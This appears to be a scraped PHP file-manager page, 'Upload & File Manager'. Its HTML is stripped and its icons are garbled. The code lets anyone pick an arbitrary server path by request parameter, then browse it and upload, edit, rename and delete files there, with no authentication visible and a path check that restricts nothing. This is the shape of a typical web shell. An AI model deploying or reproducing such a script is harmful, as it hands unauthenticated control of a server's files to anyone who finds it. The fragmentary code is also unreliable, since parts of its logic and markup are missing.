Upload & File Manager

File Upload

✅ Uploaded: " . htmlspecialchars($_FILES['file']['name']) . "

"; } // Delete if ($action == 'delete' && $file) { $target = realpath($path . DIRECTORY_SEPARATOR . $file); if (strpos($target, $path) === 0 && file_exists($target)) { unlink($target); } } // Rename if ($action == 'rename' && isset($_POST['newname'])) { $oldPath = realpath($path . DIRECTORY_SEPARATOR . $file); $newPath = $path . DIRECTORY_SEPARATOR . basename($_POST['newname']); if (strpos($oldPath, $path) === 0) { rename($oldPath, $newPath); header("Location: ?path=" . urlencode($path)); exit; } } // Edit if ($action == 'edit' && $file) { $editPath = realpath($path . DIRECTORY_SEPARATOR . $file); if (strpos($editPath, $path) === 0 && is_file($editPath)) { if (isset($_POST['content'])) { file_put_contents($editPath, $_POST['content']); echo "

✅ Saved!

"; } $content = htmlspecialchars(file_get_contents($editPath)); echo "

Editing: " . htmlspecialchars($file) . "

"; echo "

"; echo "

⬅️ Back

"; exit; } } // Rename form if ($action == 'rename' && $file) { echo "

Rename: " . htmlspecialchars($file) . "

"; echo "
"; echo "

⬅️ Back

"; exit; } // File list echo "

Browsing: " . htmlspecialchars($path) . "

"; echo ""; // Go up $parent = dirname($path); if ($parent != $path) { echo ""; } foreach (scandir($path) as $item) { if ($item === '.') continue; $itemPath = $path . DIRECTORY_SEPARATOR . $item; $urlPath = urlencode($path); $urlFile = urlencode($item); echo ""; if (is_dir($itemPath)) { echo ""; } else { echo ""; echo ""; echo ""; } echo ""; } echo "
NameSizeActions
⬅️ .. (Up)
ðŸ" $item--ðŸ"„ $item" . filesize($itemPath) . " bytes ✏️ Edit | ðŸ" Rename | 🗑️ Delete
"; ?>
Top